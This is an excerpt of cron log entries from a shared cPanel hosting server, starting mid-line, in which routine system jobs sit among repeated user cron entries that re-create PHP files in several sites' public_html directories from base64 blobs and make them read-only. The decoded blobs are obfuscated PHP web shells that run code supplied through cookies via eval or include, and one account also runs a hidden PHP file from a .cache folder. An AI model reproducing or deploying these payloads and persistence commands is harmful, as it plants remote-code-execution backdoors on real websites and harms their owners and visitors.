SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:10:01 medusa CROND[18426]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 07:10:01 medusa CROND[18423]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 07:10:01 medusa CROND[18432]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:10:01 medusa CROND[18438]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 07:10:01 medusa CROND[18440]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 07:10:01 medusa CROND[18443]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 07:10:01 medusa CROND[18447]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 07:10:01 medusa CROND[18453]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 07:10:01 medusa CROND[18455]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:10:01 medusa CROND[18456]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 07:10:01 medusa CROND[18461]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 07:10:01 medusa CROND[18462]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 07:10:01 medusa CROND[18468]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 07:10:01 medusa CROND[18433]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 07:10:01 medusa CROND[18450]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 07:10:01 medusa CROND[18458]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 07:10:01 medusa CROND[18441]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 07:11:03 medusa CROND[7685]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 07:11:03 medusa CROND[7686]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 07:11:03 medusa CROND[7687]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 07:11:03 medusa CROND[7688]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 07:11:03 medusa CROND[7689]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:11:03 medusa CROND[7690]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 07:11:03 medusa CROND[7693]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 07:11:03 medusa CROND[7694]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:11:03 medusa CROND[7695]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 07:11:03 medusa CROND[7703]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:11:03 medusa CROND[7705]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:11:03 medusa CROND[7706]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 07:11:03 medusa CROND[7763]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 07:12:02 medusa CROND[23577]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 07:12:02 medusa CROND[23651]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 07:12:02 medusa CROND[23652]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 07:12:02 medusa CROND[23653]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:12:02 medusa CROND[23654]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 07:12:02 medusa CROND[23655]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 07:12:02 medusa CROND[23656]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 07:12:02 medusa CROND[23657]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 07:12:02 medusa CROND[23658]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 07:12:02 medusa CROND[23666]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
